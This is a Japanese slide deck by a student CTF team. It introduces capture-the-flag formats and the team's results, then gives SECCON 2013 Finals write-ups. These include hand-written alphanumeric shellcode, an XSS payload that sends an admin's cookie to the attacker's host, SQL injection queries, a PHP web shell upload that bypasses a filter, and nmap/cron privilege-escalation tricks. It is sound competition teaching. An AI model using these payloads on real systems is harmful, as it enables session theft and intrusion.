Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

CTFはとんでもないものを 盗んでいきました。私の時間です…

107,269 views

Published on

Published in: Technology
  • Be the first to comment

CTFはとんでもないものを 盗んでいきました。私の時間です…

  1. 1. CTFはとんでもないものを 盗んでいきました。 私の時間です… EpsilonDelta
  2. 2. CTFとは
  3. 3. CTFとは Capture The Flagの略 直訳すると旗取り合戦
  4. 4. CTFとは よくあるイメージ
  5. 5. CTFとは よくあるイメージ
  6. 6. CTFとは Capture The Flagの略 直訳すると旗取り合戦 ここでの旗は「情報」を意味する
  7. 7. CTFとは セキュリティの知識を総動員して 情報を抜き取るゲーム もちろん経験も必要
  8. 8. 2種類のCTF CTFは大きく2つの形式がある Jeopardy  Attack-Defense
  9. 9. Jeopardy ジョパディ!と読む アメリカのクイズ番組が由来
  10. 10. Jeopardy
  11. 11. Jeopardy いろいろなジャンルの問題を解いていく それぞれの問題が独立している
  12. 12. Jeopardy いろいろなジャンルの問題を解いていく それぞれの問題が独立している オンラインの大会だと多い形式
  13. 13. Attack-Defense 直訳すると「攻防戦」 旗取り合戦のイメージに近い
  14. 14. Attack-Defense FLAG 解答サーバー チームA FLAG チームB FLAG チームC
  15. 15. Attack-Defense FLAG 解答サーバー チームA 脆弱性のあるサービスが 動いているサーバーが 与えられる FLAG チームB FLAG チームC
  16. 16. Attack-Defense FLAG 解答サーバー チームA 脆弱性を突いて 相手のFLAGを盗む FLAG チームB FLAG チームC
  17. 17. Attack-Defense 解答サーバー チームA 盗みとったFLAGを FLAG 解答サーバーに送ると 得点になる FLAG チームB FLAG チームC
  18. 18. Attack-Defense 自分のサーバーの脆弱性を修正して 相手の攻撃から守る 相手のサーバーの脆弱性を利用して 相手の旗を盗み取る
  19. 19. Attack-Defense 自分のサーバーのSLAも重要 守るためにサービスを落とすと減点 稼働率も得点に直結する
  20. 20. King of the Hill Attack-Defenseの派生形式 問題サーバーを巡って攻防する
  21. 21. King of the Hill FLAG FLAG 問題サーバー 問題サーバー FLAG チームA FLAG 問題サーバー FLAG チームB 解答サーバー
  22. 22. King of the Hill FLAG FLAG 問題サーバー 問題サーバー FLAG 問題サーバー 問題サーバーの脆弱性を 使ってFLAGを盗み出す FLAG チームA FLAG チームB 解答サーバー
  23. 23. King of the Hill FLAG 問題サーバー 問題サーバー 盗みとったFLAGを FLAG 問題サーバー 解答サーバーに送ると得点 FLAG FLAG チームA FLAG チームB 解答サーバー
  24. 24. King of the Hill FLAG FLAG 問題サーバー 問題サーバー FLAG 問題サーバー その脆弱性を使って 自チームのFLAGを書き込むと さらに得点に FLAG チームA チームB 解答サーバー
  25. 25. King of the Hill FLAG FLAG FLAG 相手がFLAGを書き込むのを 問題サーバー 問題サーバー 問題サーバー 阻止するのも重要 FLAG チームA チームB 解答サーバー
  26. 26. King of the Hill 問題サーバーを攻撃してFLAGを盗む その脆弱性を利用して自チームの FLAGを書き込む 長時間書き込み続けるほど高得点に
  27. 27. 問題ジャンル CTFにはいくつかの問題ジャンルがある 大会によって少し異なる場合も
  28. 28. Reversing 与えられたバイナリを解析して 隠されたFLAGを見つけ出す Windows/Linuxのバイナリ
  29. 29. Pwning 与えられたバイナリを解析して サーバーの脆弱性を見つけ出す Exploitコードを作成して侵入し FLAGを盗み取る
  30. 30. Web ウェブサイトを解析して 脆弱性を見つけ出し、FLAGを盗み出す SQL Injection, XSSなど PHPやJavascriptの言語仕様の 細かな知識が必要になるものも
  31. 31. Cryptography 暗号を解き、FLAGを見つけ出す パズルのようなものや古典的暗号から RSAやハッシュ関数攻撃するものも 数論の知識や柔軟な思考力が問われる
  32. 32. Forensics ディスクのイメージなどを解析して FLAGを探し出す 犯罪証拠の解析に使う知識が問われる
  33. 33. Steganography 音声や動画ファイルに隠された FLAGを探し出す 画像の色情報をいじると見えるものや データとして隠されているものも
  34. 34. Trivia セキュリティに関するクイズ ハッカー映画なども題材にされる ネットストーキングしてFLAGを探す Reconnaissanceというものも
  35. 35. EpsilonDeltaについて
  36. 36. EpsilonDeltaとは 日本のCTFチーム 学生で構成されている
  37. 37. EpsilonDeltaとは CTFTimeでは日本1位のチーム 世界ランク32位 1年間の様々な大会の成績を集めて 世界ランクを計算するサイトがある
  38. 38. EpsilonDeltaとは 2013年は30大会ほど参加 1ヶ月に2回は参加している計算 1回の大会で24~48時間使うので...
  39. 39. 大会参加の様子 普段の大会参加はSkypeで 重要な大会の時は集まって寝泊まり
  40. 40. 大会参加の様子 集まるときはひどい生活をしている 48時間の大会だと寝袋を持参 エナジードリンクを箱買いしておく ピザを取って問題を解きながら食べる
  41. 41. 大会参加の様子 集まるときはひどい生活をしている プロジェクターでアニメずっと投影 熱中すると気がつけば24時間なにも 食べていなかったことも
  42. 42. スポンサー LAC様にスポンサー頂いています IDA Proという解析ソフトをもらった @ITにも掲載
  43. 43. スポンサー
  44. 44. これまでの大会参加 CSAW CTF Qualification Round 2012  2012年9月 初めてのオンラインCTF参加 636チーム中174位
  45. 45. これまでの大会参加 DEFCON CTF Qualifier 2013  世界最大のCTF DEFCONの予選 初めて集まって宿泊した大会 414チーム中79位
  46. 46. これまでの大会参加 CSAW CTF Qualification Round 2013  1383チーム中39位 高校生部門では世界1位 アメリカの大学生なら本戦に進めた
  47. 47. これまでの大会参加 No cON Name CTF 2013  予選13位 上位12チームが本戦参加権獲得 辞退チームが居て参加できることに
  48. 48. これまでの大会参加 No cON Name CTF 2013  2013年11月@バルセロナ 初めての海外大会 カンパで渡航費を集めて参加
  49. 49. これまでの大会参加 No cON Name CTF 2013  King of the Hill形式 結果は6位 攻略したサーバーの保持ができず
  50. 50. これまでの大会参加 Codegate CTF Preliminary 2014  世界で1番賞金の高い大会 283チーム中39位 U-20のJuniorの方で予選通過
  51. 51. これまでの国内大会 SECCON 2012  学生対象の大会
  52. 52. これまでの国内大会 SECCON 2012  予選: 関西大会優勝 本戦: 8位
  53. 53. これまでの国内大会 SECCON 2013  社会人も対象に 全国9予選 + オンライン予選
  54. 54. これまでの国内大会 SECCON 2013 横浜大会 個人戦 4位 / 10位
  55. 55. これまでの国内大会 SECCON 2013 四国大会 優勝 全国大会参加権獲得
  56. 56. これまでの国内大会 SECCON 2013 本戦 3/1-2 東京電機大学で開催 King of the Hill形式
  57. 57. これまでの国内大会 SECCON 2013 本戦 結果は2位 サーバーを保持するポイントが かなり高かった
  58. 58. これまでの国内大会
  59. 59. これまでの国内大会
  60. 60. これまでの国内大会 解いた問題数は1位のチームより多い 保持した時のポイントが高いサーバーを 2日目に全く占有できなかった
  61. 61. 問題のWriteup
  62. 62. SECCON 2013 Finals 2tenkaku Writeup
  63. 63. 話すこと
  64. 64. 話すこと
  65. 65. 話すこと
  66. 66. 話すこと ● 先日のSECCON CTFのレポート
  67. 67. 話すこと ● 先日のSECCON CTFのレポート – 実際のCTFの問題のWriteupをします。 ● 解けたところまでですが...
  68. 68. 話すこと ● 先日のSECCON CTFのレポート – 実際のCTFの問題のWriteupをします。 – 解けたところまでですが... CTFの楽しむという側面を知っていただければ嬉しい ●
  69. 69. Writeupとは?
  70. 70. Writeupとは? ● 競技終了後に他チームに公開する解法のこと – Write upは詳述する、記事にするという意味
  71. 71. Writeupとは? ● 競技終了後に他チームに公開する解法のこと – ● Write upは詳述する、記事にするという意味 必要性
  72. 72. Writeupとは? ● 競技終了後に他チームに公開する解法のこと – ● Write upは詳述する、記事にするという意味 必要性 – 情報の共有 ● ● 解けなかったチームの参考になる 同じ問題でも解き方が違ったりして面白い
  73. 73. Writeupとは? ● 競技終了後に他チームに公開する解法のこと – ● Write upは詳述する、記事にするという意味 必要性 – 情報の共有 – 解けなかったチームの参考になる ● 同じ問題でも解き方が違ったりして面白い 自己満足 ●
  74. 74. Writeupとは? ● 競技終了後に他チームに公開する解法のこと – ● Write upは詳述する、記事にするという意味 必要性 – 情報の共有 – 解けなかったチームの参考になる ● 同じ問題でも解き方が違ったりして面白い 自己満足 ● ● 一種の備忘録的使い方
  75. 75. 競技構成
  76. 76. 競技構成 ● 競技時間は2日間 – 1日目: 13:00 ~ 20:00 – 2日目: 09:00 ~ 14:00
  77. 77. 競技構成 ● 競技時間は2日間 – – ● 1日目: 13:00 ~ 20:00 2日目: 09:00 ~ 14:00 King on the hill形式(前述)
  78. 78. 競技構成 ● 競技時間は2日間 – 1日目: 13:00 ~ 20:00 – 2日目: 09:00 ~ 14:00 ● King on the hill形式(前述) ● 6つのサーバー – 独立した6つのサーバーに別々の問題が存在 – その内3つは1日目の終了30分ほど前に公開
  79. 79. 担当した問題
  80. 80. 担当した問題 ● 2tenkaku
  81. 81. 担当した問題 ● 2tenkaku – 「通天閣」と読むらしい ● センス....
  82. 82. 担当した問題 ● 2tenkaku – 「通天閣」と読むらしい ● ● センス.... Babel
  83. 83. 担当した問題 ● 2tenkaku – 「通天閣」と読むらしい ● ● センス.... Babel – 後に公開された3つの内の1つ – 最後の方に着手したせいで妨害がつらかった...
  84. 84. 2tenkaku
  85. 85. 問題概要
  86. 86. 問題概要 ● 全4ステージ – そのステージのFLAGを回答すると次のステージへ – FLAGはkeyword.txtに書かれている
  87. 87. 問題概要 ● 全4ステージ – – ● そのステージのFLAGを回答すると次のステージへ FLAGはkeyword.txtに書かれている 実際に動いているプログラムの情報が渡される – ソースコードと実行ファイル、設定が読める
  88. 88. ソースコード 実際に見てみる
  89. 89. 要点
  90. 90. 要点 ● 入力した文字列を機械語として実行する – ● 機械語とは?(後述) 入力はfilter関数によってチェックされる – 条件を満たさないコードは実行できない
  91. 91. 機械語
  92. 92. 機械語 ● 実際にマシンのCPUが実行する命令群のこと – 見た目はただのバイト列でしか無い – 人間なら噛み砕いたアセンブラを読み書きする
  93. 93. 機械語 ● 実際にマシンのCPUが実行する命令群のこと – – ● 見た目はただのバイト列でしか無い 人間なら噛み砕いたアセンブラを読み書きする 実際の攻撃でも“攻撃用”の命令群を作って利用する
  94. 94. 機械語 ● 実際にマシンのCPUが実行する命令群のこと – – ● 見た目はただのバイト列でしか無い 人間なら噛み砕いたアセンブラを読み書きする 実際の攻撃でも“攻撃用”の命令群を作って利用する – 一般にはshellの操作を奪取する命令群
  95. 95. 機械語 ● 実際にマシンのCPUが実行する命令群のこと – – ● 見た目はただのバイト列でしか無い 人間なら噛み砕いたアセンブラを読み書きする 実際の攻撃でも“攻撃用”の命令群を作って利用する – 一般にはshellの操作を奪取する命令群 – なのでこれを「shellcode」と呼ぶ
  96. 96. 機械語 ● 実際にマシンのCPUが実行する命令群のこと – – ● 見た目はただのバイト列でしか無い 人間なら噛み砕いたアセンブラを読み書きする 実際の攻撃でも“攻撃用”の命令群を作って利用する – 一般にはshellの操作を奪取する命令群 – なのでこれを「shellcode」と呼ぶ – 2tenkakuは条件を満たすshellcodeを作る問題
  97. 97. 課題
  98. 98. 課題 ● fork出来ないこと – setrlimitによって設定されている – shellは他のコマンド起動時にforkするので使えない – 直接keyword.txtを出力するようなshellcodeが必要
  99. 99. 課題 ● fork出来ないこと – – shellは他のコマンド起動時にforkするので使えない – ● setrlimitによって設定されている 直接keyword.txtを出力するようなshellcodeが必要 filter関数の条件を満たすこと – ステージごとで条件が違う
  100. 100. stage0 ● filterによる制限なし – 実行さえ出来ればどんなshellcodeを送ってもいい – execveでcatを呼び出すshellcodeを書くのが早そう ● execve("cat", {"cat", "keyword.txt", NULL}, NULL)
  101. 101. stage0 実際に解いてみる
  102. 102. stage1
  103. 103. stage1 ● filterによる制限あり – isalnum(shellcode[i]) == trueでなければならない – shellcode中でA-Za-z0-9しか使ってはいけない
  104. 104. Alpha numericのみで???
  105. 105. Alpha numericのみで??? ● そんなの出来るのか
  106. 106. Alpha numericのみで??? ● そんなの出来るのか – 出来る(かなり面倒くさいけど)
  107. 107. Alpha numericのみで??? ● そんなの出来るのか – 出来る(かなり面倒くさいけど) – “普通は”ツールを使う
  108. 108. Alpha numericのみで??? ● そんなの出来るのか – – ● 出来る(かなり面倒くさいけど) “普通は”ツールを使う ツール?
  109. 109. Alpha numericのみで??? ● そんなの出来るのか – – ● 出来る(かなり面倒くさいけど) “普通は”ツールを使う ツール? – Metasploitというペネトレーションテストツール – サブセットにshellcode用の様々なエンコーダが付属 – msfencode -e x86/alpha_mixed BufferRegister=EAX
  110. 110. しかし...
  111. 111. しかし... !!!競技中、うまく動かなかった!!!
  112. 112. 痛恨のミス ● Metasploitをまともに使える人間が居なかった
  113. 113. 痛恨のミス ● Metasploitをまともに使える人間が居なかった – 一応存在は知ってたけども... – オプションの設定ミス – ついでに、バグもあるらしい – 完全に準備不足....
  114. 114. 解けない....
  115. 115. いや、待て
  116. 116. Metasploitに出来て俺に出来ないわけがない
  117. 117. よし、自分でencodeを書こう
  118. 118. 手でshellcodeを書く
  119. 119. 手でshellcodeを書く ● 結局1日目終了してから3時間ぐらいかかった
  120. 120. 手でshellcodeを書く ● 結局1日目終了してから3時間ぐらいかかった – 確実に敗因の一つ – Metasploitを使えないから仕方がなかった
  121. 121. 手でshellcodeを書く ● 結局1日目終了してから3時間ぐらいかかった – – ● 確実に敗因の一つ Metasploitを使えないから仕方がなかった 使える命令が非常に限られている
  122. 122. 手でshellcodeを書く ● 結局1日目終了してから3時間ぐらいかかった – – ● 確実に敗因の一つ Metasploitを使えないから仕方がなかった 使える命令が非常に限られている – 初めに使える命令のlistを取得 – 後はその中から頑張って命令群を作るパズル
  123. 123. 出来上がったコード
  124. 124. 出来上がったコード Ph0E00X5wz00PPPPPPPPaTZ12h0000X5000 0PZJRRRRRRRRah0D00X50x00PTX10ZX00h0 000X50000PZJPRDDYLLZPRQQQQQQQQaZX 5sO005A000PTX10RX5AAAA5zqqqPRX5AAAA 5qqqtPRX500AA5bhtqPRX500005acdiPRX50 0005GdibPRX501005XZUIPRX5500A5ZBToP RX500005HD0XPRX500005dkXDPRX5A0045 nRYZPRX500005SQDXPRX5000A5bbXnPRX5 00005jbbbPRX5AAA15qqqaPRX5A0AA5qhtqP RX50AAA5XqqqPT
  125. 125. 仕組み
  126. 126. 仕組み ● 使えた命令 (0xYYはisalnum(0xYY) == true) – – – – – – – – push 0xYYYYYYYY push (register) pop eax, ecx, edx(他のレジスタはダメ) xor eax, 0xYYYYYYYY(他のレジスタはダメ) xor [register], dh xor [register], esi inc (register) dec(register)
  127. 127. 仕組み ● eax, ecx, edxにはある程度任意の値を入れられる
  128. 128. 仕組み ● eax, ecx, edxにはある程度任意の値を入れられる – push 0xYYYYYYYY; pop eax, ecx, edxを使う – 基本的にはこの3つだけでどうにかするしかない
  129. 129. 仕組み ● eax, ecx, edxにはある程度任意の値を入れられる – – ● push 0xYYYYYYYY; pop eax, ecx, edxを使う 基本的にはこの3つだけでどうにかするしかない alnumとならない値0xZZを使うには
  130. 130. 仕組み ● eax, ecx, edxにはある程度任意の値を入れられる – – ● push 0xYYYYYYYY; pop eax, ecx, edxを使う 基本的にはこの3つだけでどうにかするしかない alnumとならない値0xZZを使うには – xor eax, 0xYYYYYYYYを2回行う ● 0 ~ 127はこれによって作ることが出来る
  131. 131. 仕組み ● eax, ecx, edxにはある程度任意の値を入れられる – – ● push 0xYYYYYYYY; pop eax, ecx, edxを使う 基本的にはこの3つだけでどうにかするしかない alnumとならない値0xZZを使うには – xor eax, 0xYYYYYYYYを2回行う ● – 0 ~ 127はこれによって作ることが出来る xor [register], dhを使う(dec edxで0xffffffffを作る) ● ● push eax; push esp; pop eax; xor [eax], dh; pop eax 0 ~ 127と0xffのxorは128 ~ 255となる
  132. 132. 仕組み ● 方針
  133. 133. 仕組み ● 方針 – shellcodeをメモリ上に展開するshellcodeを書く
  134. 134. 仕組み ● 方針 – shellcodeをメモリ上に展開するshellcodeを書く – xor [eax], esiでメモリ上に任意の値を与えることは可能
  135. 135. 仕組み ● 方針 – shellcodeをメモリ上に展開するshellcodeを書く – xor [eax], esiでメモリ上に任意の値を与えることは可能 – しかし面倒くさい ● eaxのaddrのインクリメントとesiの値の更新が必要
  136. 136. 仕組み ● 方針 – shellcodeをメモリ上に展開するshellcodeを書く – xor [eax], esiでメモリ上に任意の値を与えることは可能 – しかし面倒くさい ● – eaxのaddrのインクリメントとesiの値の更新が必要 他の方法はないか?
  137. 137. 仕組み ● push系の命令がかなり使えるから活用したい
  138. 138. 仕組み ● push系の命令がかなり使えるから活用したい – スタック上に実行を遷移出来れば嬉しい?
  139. 139. 仕組み ● push系の命令がかなり使えるから活用したい – スタック上に実行を遷移出来れば嬉しい? – ret命令(0xC3)だけxor [eax], esiで書き込めばいけそう
  140. 140. 仕組み ● 手順 – – – – – shellcodeを4byteずつ生成する スタック上にpushしていく スタックのアドレスをpushする shellcodeの末尾にretを配置する retが実行されてスタック上に実行が移る
  141. 141. stage1 実際に解いてみる
  142. 142. まとめ
  143. 143. まとめ ● 準備不足は命取り – 準備次第で解く時間は1時間にも10時間にもなる – 使えるものは全部使う、使えるようになる
  144. 144. まとめ ● 準備不足は命取り – – ● 準備次第で解く時間は1時間にも10時間にもなる 使えるものは全部使う、使えるようになる 問題の取捨選択 – 解法が見えていない問題をいつまで考え続けるか? – ムダに時間を使うと他の問題にも支障をきたす – King on the hillはスピード勝負
  145. 145. SECCON 2013 Finals Korin writeup @tyage
  146. 146. 今回紹介する問題 ● Korin ○ http://korin.tower/ ○ 読みは「かりんとう」らしい・・・?
  147. 147. Korin - 第1問 ● http://korin.tower/ ● 管理者とのコンタクトフォームがある
  148. 148. Korin - 第1問 ● さらに、管理者専用のページが用意されている ● アクセスすると「You are not admin!!」と怒られる...
  149. 149. Korin - 第1問 ● さらに、管理者専用のページが用意されている ● アクセスすると「You are not admin!!」と怒られる... ● なんとかして管理者にならなければ・・・
  150. 150. Korin - 第1問 ● 送信するメールを工夫してみる
  151. 151. Korin - 第1問 ● 送信するメールを工夫してみる ● 管理者がメールを見る際にJavaScriptが動けば管理者の Cookieを取得できると推測 ○ いわゆるXSS
  152. 152. Korin - 第1問 ● 送信元のメールアドレスを以下のように変えてみる ● “><script>location.href=”http://192.168.5.8/”+document. cookie</script>@gmail.com
  153. 153. Korin - 第1問 ● 送信元のメールアドレスを以下のように変えてみる ● “><script>location.href=”http://192.168.5.8/”+document. cookie</script>@gmail.com ● 「http://192.168.5.8/[ユーザーのcookie]」にリダイレクトす るJavaScript ○ 自分のPCに192.168.5.8のアドレスが割り振られている ため、自分のPCにアクセスが来る
  154. 154. Korin - 第1問 ● 192.168.5.8で管理者アクセスを監視
  155. 155. Korin - 第1問 ● 192.168.5.8で管理者アクセスを監視 ● nc -l -p 80
  156. 156. Korin - 第1問 ● 192.168.5.8で管理者アクセスを監視 ● nc -l -p 80 ○ GET /CGISESSID=XXXXXXX... HTTP/1.1 ○ 管理者のCookieが取得できた!
  157. 157. Korin - 第1問 ● 192.168.5.8で管理者アクセスを監視 ● nc -l -p 80 ○ GET /CGISESSID=XXXXXXX... HTTP/1.1 ○ 管理者のCookieが取得できた! ● 取得したCookieを利用して、管理者専用ページにアクセス
  158. 158. Korin - 第1問 ● You are admin level2! ● 第1問突破!
  159. 159. Korin - 第2問 ● 管理者に送信された Messageが読めるように なる
  160. 160. Korin - 第2問 ● メッセージのURLは ● http://korin.tower/?action=view&id=111111111111111 ● のようになっている
  161. 161. Korin - 第2問 ● 勘でidを「’ or ‘1」にしてみる
  162. 162. Korin - 第2問 ● 勘でidを「’ or ‘1」にしてみる ○ メッセージが表示される
  163. 163. Korin - 第2問 ● 勘でidを「’ or ‘1」にしてみる ○ メッセージが表示される ○ SQL Injectionだとわかりますね
  164. 164. Korin - 第2問 ● ‘ or union select 1,1,1 -- とすると欲しいデータが表示でき る!
  165. 165. Korin - 第2問 ● DBMSは何?
  166. 166. Korin - 第2問 ● DBMSは何? ● MySQL? ○ ‘ or union select @@version,1,1 -○ →Error
  167. 167. Korin - 第2問 ● DBMSは何? ● MySQL? ○ ‘ or union select @@version,1,1 -○ →Error ● Postgres SQL? ○ ‘ or union select version(),1,1 -○ →Error
  168. 168. Korin - 第2問 ● DBMSは何? ● MySQL? ○ ‘ or union select @@version,1,1 -○ →Error ● Postgres SQL? ○ ‘ or union select version(),1,1 -○ →Error ● SQLite? ○ ‘ or union select sqlite_version(),1,1 -○ →ビンゴ!
  169. 169. Korin - 第2問 ● SQLiteではsqlite_masterテーブルでテーブル作成時の SQLが参照できる ○ ‘ or union all select group_concat(sql),1,1 from sqlite_master --
  170. 170. Korin - 第2問 ● SQLiteではsqlite_masterテーブルでテーブル作成時の SQLが参照できる ○ ‘ or union all select group_concat(sql),1,1 from sqlite_master -CREATE TABLE contact (id, name, mail, honbun), CREATE TABLE nextLVpassword (str), CREATE TABLE zdummy (dummy)
  171. 171. Korin - 第2問 ● ‘ or union all select str,1,1 from nextLVpassword --
  172. 172. Korin - 第2問 ● ‘ or union all select str,1,1 from nextLVpassword -○ パスワードが手に入る! ○ パスワード入力欄に入力して次の問題へ kinoko!!
  173. 173. Korin - 第3問 ● 2問目をクリアするとファイルアップローダが現れる
  174. 174. Korin - 第3問 ● 試しにtest.phpをアップロードしてみる
  175. 175. Korin - 第3問 ● 試しにtest.phpをアップロードしてみる ○ 「filename does not contain .jpg」 ○ jpgファイルしかアップロードできない?
  176. 176. Korin - 第3問 ● 試しにtest.phpをアップロードしてみる ○ 「filename does not contain .jpg」 ○ jpgファイルしかアップロードできない? ○ ファイル名にjpgが含まれていればいい
  177. 177. Korin - 第3問 ● 試しにtest.phpをアップロードしてみる ○ 「filename does not contain .jpg」 ○ jpgファイルしかアップロードできない? ○ ファイル名にjpgが含まれていればいい ○ test.jpg.phpというファイル名でアップロード
  178. 178. Korin - 第3問 ● 試しにtest.phpをアップロードしてみる ○ 「filename does not contain .jpg」 ○ jpgファイルしかアップロードできない? ○ ファイル名にjpgが含まれていればいい ○ test.jpg.phpというファイル名でアップロード ○ http://korin.tower/uploaded/test.jpg.php で実行可能
  179. 179. Korin - 第3問 <?php system($_GET[‘cmd’]); をアップロードして実行することで、問題サーバー上でコマンド を実行することができるようになる
  180. 180. Korin - 第3問 ● サーバーに侵入後、調べていくと/home/stage4 以下に 「MyPasswordIs”stage4PassWD”」が見つかる ● これで3問目を突破!
  181. 181. Korin - 第4問 ● 先ほど作ったphpファイルを通じて/etc/passwdを見ると、 stage4ユーザーがlogin可能であることがわかる
  182. 182. Korin - 第4問 ● 先ほど作ったphpファイルを通じて/etc/passwdを見ると、 stage4ユーザーがlogin可能であることがわかる ● stage4:stage4PassWDでsshログインしてみる
  183. 183. Korin - 第4問 ● 先ほど作ったphpファイルを通じて/etc/passwdを見ると、 stage4ユーザーがlogin可能であることがわかる ● stage4:stage4PassWDでsshログインしてみる ○ 入れた!
  184. 184. Korin - 第4問 ● /homeディレクトリ以下にはstage3~6のユーザーディレクト リが存在している
  185. 185. Korin - 第4問 ● /homeディレクトリ以下にはstage3~6のユーザーディレクト リが存在している ● stage4でログインしているから次はstage5?
  186. 186. Korin - 第4問 ● /homeディレクトリ以下にはstage3~6のユーザーディレクト リが存在している ● stage4でログインしているから次はstage5? ● ls -al /stage5
  187. 187. Korin - 第4問 ● /homeディレクトリ以下にはstage3~6のユーザーディレクト リが存在している ● stage4でログインしているから次はstage5? ● ls -al /stage5 ○ -r-------- stage5 root FLAG ○ -r-x--x--x stage5 root nmap
  188. 188. Korin - 第4問 ● /homeディレクトリ以下にはstage3~6のユーザーディレクト リが存在している ● stage4でログインしているから次はstage5? ● ls -al /stage5 ○ -r-------- stage5 root FLAG ○ -r-x--x--x stage5 root nmap ○ nmapを実行してFLAGを読み取る?
  189. 189. Korin - 第4問 ● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG
  190. 190. Korin - 第4問 ● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG ○ FLAGをnmapする対象のアドレスが書かれたリストとし て読み込ませる
  191. 191. Korin - 第4問 ● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG ○ FLAGをnmapする対象のアドレスが書かれたリストとし て読み込ませる ○ nmapはFLAGの内容をアドレスと認識してアクセスする が、失敗してエラーが吐かれる
  192. 192. Korin - 第4問 ● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG ○ FLAGをnmapする対象のアドレスが書かれたリストとし て読み込ませる ○ nmapはFLAGの内容をアドレスと認識してアクセスする が、失敗してエラーが吐かれる ○ エラーの内容にFLAGの内容が出力されている!
  193. 193. Korin - 第4問 ● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG ○ FLAGをnmapする対象のアドレスが書かれたリストとし て読み込ませる ○ nmapはFLAGの内容をアドレスと認識してアクセスする が、失敗してエラーが吐かれる ○ エラーの内容にFLAGの内容が出力されている! ○ 第4問目クリア!
  194. 194. Korin - FLAG ● http://korin.tower/~stage6/ にチームのFLAGを定期的に 書き込みつづけることで、点数が得られる
  195. 195. Korin - FLAG ● http://korin.tower/~stage6/ にチームのFLAGを定期的に 書き込みつづけることで、点数が得られる ● /home/stage6/public_html/index.html というファイルが存 在していることから、このファイルに書き込めばよいとわかる
  196. 196. Korin - FLAG ● http://korin.tower/~stage6/ にチームのFLAGを定期的に 書き込みつづけることで、点数が得られる ● /home/stage6/public_html/index.html というファイルが存 在していることから、このファイルに書き込めばよいとわかる ○ -rw-r--r-- stage6 apache index.html ○ stage6ユーザーでないと書き込めない
  197. 197. Korin - FLAG ● 色々探した結果、/etc/crontab に怪しい記述が... ○ * * * * * stage6 /var/tmp/5to6 ■ 1分ごとにstage6の権限で/var/tmp/5to6を実行して いる
  198. 198. Korin - FLAG ● 色々探した結果、/etc/crontab に怪しい記述が... ○ * * * * * stage6 /var/tmp/5to6 ■ 1分ごとにstage6の権限で/var/tmp/5to6を実行して いる ● /var/5to6 はstage6ユーザーで実行されているのでは? ○ -rw-r-xr-- stage5 apache 5to6 ■ stage5ユーザーでなら書き込める!!
  199. 199. Korin - FLAG ● 再びnmapを利用して書き込んでみる ○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 test
  200. 200. Korin - FLAG ● 再びnmapを利用して書き込んでみる ○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 test ● /var/tmp/5to6 # Nmap 6.25 scan initiated Sat Mar 1 17:54:51 2014 as: nmap -oN hoge -p 1 test # Nmap done at Sat Mar 1 17:54:57 2014 -- 1 IP address (0 hosts up) scanned in 6.08 seconds
  201. 201. Korin - FLAG ● 再びnmapを利用して書き込んでみる ○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 test ● /var/tmp/5to6 # Nmap 6.25 scan initiated Sat Mar 1 17:54:51 2014 as: nmap -oN hoge -p 1 test # Nmap done at Sat Mar 1 17:54:57 2014 -- 1 IP address (0 hosts up) scanned in 6.08 seconds test に改行を入れればシェルコマンドが書き込めそう?
  202. 202. Korin - FLAG ● 実行させたいコマンドを書いてみる ○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 “ echo ‘hoge’ >> /home/stage6/public_html/index.html”
  203. 203. Korin - FLAG ● 実行させたいコマンドを書いてみる ○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 “ echo ‘hoge’ >> /home/stage6/public_html/index.html” # Nmap 6.25 scan initiated Sat Mar 1 17:54:51 2014 as: nmap -oN hoge -p 1 echo ’hoge’ >> /home/stage6/public_html/index.html # Nmap done at Sat Mar 1 17:54:57 2014 -- 1 IP address (0 hosts up) scanned in 6.08 seconds
  204. 204. Korin - FLAG ● 1分後、cronによって5to6が実行される ○ /home/stage6/public_html/index.html に書き込まれた! ○ チームのFLAGを書き込み続ければ得点が加算される
  205. 205. Korin - FLAG ● 1分後、cronによって5to6が実行される ○ /home/stage6/public_html/index.html に書き込まれた! ○ チームのFLAGを書き込み続ければ得点が加算される しかしその10分後、他のチームに動きが・・・
  206. 206. Korin - FLAG ● 自分達の他に /var/tmp/5to6 にコマンドを書き込むユーザー が・・・ ○ どうやら他のチームに追いつかれたらしい
  207. 207. Korin - FLAG ● 自分達の他に /var/tmp/5to6 にコマンドを書き込むユーザー が・・・ ○ どうやら他のチームに追いつかれたらしい ● せっかく /var/tmp/5to6 にコマンドを書き込んでも、他のチーム に上書きされてしまい、FLAGを書き込めない
  208. 208. Korin - FLAG ● 自分達の他に /var/tmp/5to6 にコマンドを書き込むユーザー が・・・ ○ どうやら他のチームに追いつかれたらしい ● せっかく /var/tmp/5to6 にコマンドを書き込んでも、他のチーム に上書きされてしまい、FLAGを書き込めない ● しかも複数のチームがFLAGを書き込んでいる場合、その得点 は山分けとなる ○ 最大20点なので、2チームが書き込むと各チーム10点、3 チームが書き込むと7点・・・
  209. 209. Korin - FLAG ● 課題1: ○ 他のチームにFLAGを書き込ませてはいけない ● 課題2: ○ 自チームのFLAGを書き込み続けないといけない
  210. 210. Korin - FLAG ● 課題1: ○ 他のチームにFLAGを書き込ませてはいけない ● 課題2: ○ 自チームのFLAGを書き込み続けないといけない
  211. 211. Korin - FLAG ● なんとしても他のチームにFLAGを書き込ませてはいけない!
  212. 212. Korin - FLAG ● なんとしても他のチームにFLAGを書き込ませてはいけない! ● どうする?
  213. 213. Korin - FLAG ● なんとしても他のチームにFLAGを書き込ませてはいけない! ● どうする? ○ /var/tmp/5to6 に書き込み続ける
  214. 214. Korin - FLAG ● なんとしても他のチームにFLAGを書き込ませてはいけない! ● どうする? ○ /var/tmp/5to6 に書き込み続ける ■ 他のチームも同様のことをしてくる ■ 同時に書き込むとロックして相討ち
  215. 215. Korin - FLAG ● なんとしても他のチームにFLAGを書き込ませてはいけない! ● どうする? ○ /var/tmp/5to6 に書き込み続ける ■ 他のチームも同様のことをしてくる ■ 同時に書き込むとロックして相討ち ○ 他のチームのssh接続をkillする
